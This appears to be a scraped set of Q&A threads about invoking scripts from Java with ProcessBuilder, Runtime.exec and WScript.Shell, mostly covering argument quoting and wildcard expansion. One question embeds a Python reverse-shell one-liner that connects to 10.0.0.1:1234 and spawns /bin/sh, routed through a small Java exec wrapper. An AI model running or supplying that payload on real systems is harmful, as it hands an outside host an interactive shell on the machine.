Would like to execute selenium script/batch scripts using java. Based on input parameters to call script/batch scripts.
To understand, how to run script/batch using java code.
Please help me out here.
to run a bash script contained in a file in a java project, use the ProcessBuilder class like this:
ProcessBuilder procBuildScript = new ProcessBuilder ([your_script_path],arg1,arg2,...);
procBuildScript.start();
So you can pass arguments after your script path
as "script.sh",arg1,arg2
For example :
public void runMyScript(String aFirstArg, String aSecondArg){
ProcessBuilder procBuildScript = new ProcessBuilder("./your-script.sh",aFirstArg,aSecondArg);
procBuildScript.start();
}
In your script you can call these arguments using the expressions $ 1, $ 2 ... $ {10}, $ {11} corresponding to the index where the desired parameter is located :
#!/bin/bash
# your-script.sh
echo "First argument is : $1"
echo "Third argument is : $3"
Related
I was developing my spring boot server on Windows. Now I have upgraded to Ubuntu 20.04.
the project executes a python script which should return a result as a txt file with this command:
python3 -c "from main import *;main(function,'/tmp/execution12480676806364930620/executionResponse.txt')"
Thanks to this code:
List<String> items = Arrays.asList(project.getExecutorType().buildAndGetExecutionCommandByProject(project));
ProcessBuilder pb = new ProcessBuilder(items);
pb.directory(new File(project.getPath()));
Process p = pb.start();
p.waitFor(5, TimeUnit.SECONDS);
when I print in the console the array passed in the Item variable:
[python3, -c, "from main import *;main(function, '/tmp/execution12480676806364930620/executionResponse.txt')"]
and the path of the array passed in pb.directory :
/tmp/execution12480676806364930620
My problem is that the project is not running and returning nothing.
when i go to the folder and run the same command from terminal everything works.
And that on windows 10 this same process worked fine.
Looking at similar issues I modified my code like this but it doesn't change anything:
List<String> items = Arrays.asList(project.getExecutorType().buildAndGetExecutionCommandByProject(project));
ProcessBuilder pb = new ProcessBuilder();
pb.command(items);
pb.redirectErrorStream(true);
pb.directory(new File(project.getPath()));
Process p = pb.start();
p.waitFor(5, TimeUnit.SECONDS);
What am I doing wrong?
Edit :
My command for read outputs :
private String inputStreamToString(InputStream inputStream){
return new BufferedReader(
new InputStreamReader(inputStream, StandardCharsets.UTF_8)).lines()
.collect(Collectors.joining("\n"));
}
And I call it like that :
System.out.println(this.inputStreamToString(p.getErrorStream()));
System.out.println(this.inputStreamToString(p.getInputStream()));
What works, when I just run "python main.py" I get the errors and print them out.
I can easily add the command at the end of the main file but I don't understand why the python -c "..." is not working? I am not receiving any errors ... I manage several languages and this could be a problem for me later
Aha! On closer inspection I think you're right it's not executing anything (and thus not producing any output either normal or error for you to see).
You don't show how the array of strings is created, but your printout suggests you have actually put quotemarks in the third string. That's wrong. When you give the shell command line python -c "import this; dothat" the shell uses the quotemarks to control parsing of this command line, but it does not pass them to the python process; the args passed to the python process (shown vertically for clarity, and omitting the argv[0]=program used in C but omitted in Java) are actually
-c
import this; dothat
If you pass an argument actually containing quotemarks like
-c
"import this; dothat"
then python doesn't execute the commands import and dothat; instead it evaluates the string literal "import this; dothat" and (since it isn't running interactively) discards the result.
Try not including, or removing, the " at the beginning and end. But leave the ' inside the string value because you do want python to receive those.
I'm trying to parse my command line arguments using the apache commons CLI. It might be a bit heavy handed for the example here, but it makes sense in the context of the program I'm creating. I'm trying to read a file pattern filter, similar to what grep uses to select files to process.
My Argument looks like this:
Program --input *.*
I've written a test program to see what the parser is seeing;
public static void main(String[] args) {
Options options = new Options();
options.addOption(new Option(INPUT_FILTER_SHORT, INPUT_FILTER_LONG, true, INPUT_FILTER_DESCRIPTION));
CommandLineParser parser = new BasicParser();
CommandLine cmd = parser.parse(options, args);
System.out.println(cmd.getOptionValue(INPUT_FILTER_SHORT));
}
This prints out:
.classpath
If I change my arguments to:
Program --input test.txt
I get the output:
test.txt
I'm assuming that I have to do something to tell apache commons what * is not a special character? I can't seem to find anything about this online.
I'm experiencing this on Windows (7). I'm fairly certain it's the *.* which is causing the issue as when I swap to using patterns that don't use *, the expected pattern shows up.
Your problem isn't really to do with Commons CLI, but to do with how the shell and the Java executable together process the parameters.
To eliminate other factors, and see what's going on, use a short Java program:
public class ArgsDemo {
public static void main(String[] args) {
for(int i=0; i<args.length; i++) {
System.out.println("" + i + ": " + args[i]);
}
}
}
Play with java ArgsDemo hello world, java ArgsDemo * etc. and observe what happens.
On UNIX and Linux:
Java does no special processing of *. However, the shell does. So if you did:
$ mkdir x
$ cd x
$ touch a b
$ java -jar myjar.jar MyClass *
... then MyClass.main() would be invoked with the parameter array ["a","b"] -- because the UNIX shell expands * to files in the current directory.
You can suppress this by escaping:
$ java -jar myjar MyClass * // main() sees ["*"])
(Note that a UNIX shell wouldn't expand *.* to .classpath because this form would ignore "hidden" files starting with .)
On Windows
cmd.exe does not do UNIX-style wildcard expansion. If you supply * as a parameter to a command in Windows, the command gets a literal *. So for example, PKUNZIP *.zip passes *.zip to PKUNZIP.EXE, and it's up to that program to expand the wildcard if it wants to.
Since some release of Java 7, the Java executable for Windows does some wildcard to filename expansion of its own, before passing the parameters to your main() class.
I've not been able to find clear documentation of Java-for-Windows' wildcard expansion rules, but you should be able to control it with quoting, escaping the quotes to prevent cmd.exe interpreting them:
> java.exe -jar myjar.jar MyClass """*.*"""
(Untested as I don't have a Windows box handy, and quoting in cmd.exe is a bit of a beast - do please experiment and either edit the above or leave a comment)
Given the below java code, how can I pass the following python statements as argument to the java code
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
The java code:
import java.io.*;
public class Exec {
public static void main(String[] args) throws IOException {
Process p = Runtime.getRuntime().exec(args[0]);
byte[] b = new byte[1];
while (p.getErrorStream().read(b) > 0)
System.out.write(b);
while (p.getInputStream().read(b) > 0)
System.out.write(b);
}
}
I execute the java code using:
java Exec 'python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);''
but it throws syntax error near unexpected token('`. If I use double quotes at the beginning and end
java Exec "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
it throws:
File "<string>", line 1
'import
^
SyntaxError: EOL while scanning string literal
Any help is much appreciated.
As you've noted, this is quite confusing. You're trying to pass in everything as one argument and the quoting becomes difficult. If you need explicit arguments, I think you have to pass in three arguments to your Java program, viz:
python
-c
the complete script quoted appropriately
e.g.
java Exec python -c "script quoted and escaped properly"
but perhaps you could circumvent that by running 'python' and passing the name of the file containing your script? (why do you need to specify 'python' and '-c' - could that be hardcoded in your program?)
Fundamentally, though, why are you using Java to execute a Python program to spawn a bash shell? If you're on the Java platform, I would look at how to achieve what you really want without having to fork subprocesses using different technologies.
I am calling a shell script from java code using :
ProcessBuilder pb2=new ProcessBuilder("/home/abhijeet/sample1.sh ");
Process script_exec = pb2.start();
Which runs successfully,But i need to pass some parameters to it , so I need to execute this script as :
param1=abc param2=xyz /home/abhijeet/sample1.sh
I have tried this code:
ProcessBuilder pb2=new ProcessBuilder("/home/abhijeet/sample1.sh ","param1=abc","param2="xyz");
But it did't work for me.How can i pass arguements to shell script while using Processbuilder for calling it?
Note:My question is about passing arguments to shellscript ,not to commands.i have read that suggested possible duplicate question , but that does't solve my problem,I tried it that way, that is for passing arguements to commands, not for shellscript
You say you need to run the command:
param1=abc param2=xyz /home/abhijeet/sample1.sh
In this case, the "param1" and "param2" strings aren't command-line arguments. This is shell syntax to set the two environment variables param1 and param2 and then invoke sample1.sh.
To accomplish this with ProcessBuilder, you need to access the builder's environment variables:
ProcessBuilder pb2=new ProcessBuilder("/home/abhijeet/sample1.sh");
pb2.environment().put("param1", "abc");
pb2.environment().put("param2", "xyz");
Process script_exec = pb2.start();
As an alternative, the command that you're trying to run uses shell syntax, so you could pass it to a shell to execute it:
ProcessBuilder pb2=new ProcessBuilder(
"/bin/sh",
"-c",
"param1=abc param2=xyz /home/abhijeet/sample1.sh");
Process script_exec = pb2.start();
As the description of Wscript:String value indicating the command line used to run the script: The command line should appear exactly as it would if you typed it at the command prompt.
I can run my java file using the command "java test http://www.bbc.co.uk/news/world-us-canada-12116778"
but it is not working when I wrote the JavaScript below. Can someone can tell me why?
Thank you or can tell me there is some other method to call my Java file when I open a html file?
<script type="text/javascript">
funciton {}
var WshShell = new ActiveXObject("WScript.Shell");
var oExec= WshShell.Exec(""java test http://www.bbc.co.uk/news/world-us-canada-12116778"");
while (oExec.Status == 0)
{
WScript.Sleep(100);
}
</script>
Take a look at the WSHSell object's run method. The following code works for me:
var shell = new ActiveXObject("WScript.Shell");
shell.run("cmd /c java -jar MyApplication.jar");
// should work without JARs as well, take care for the working path
The run method has an option to wait for the java program to return.
Hope this helps.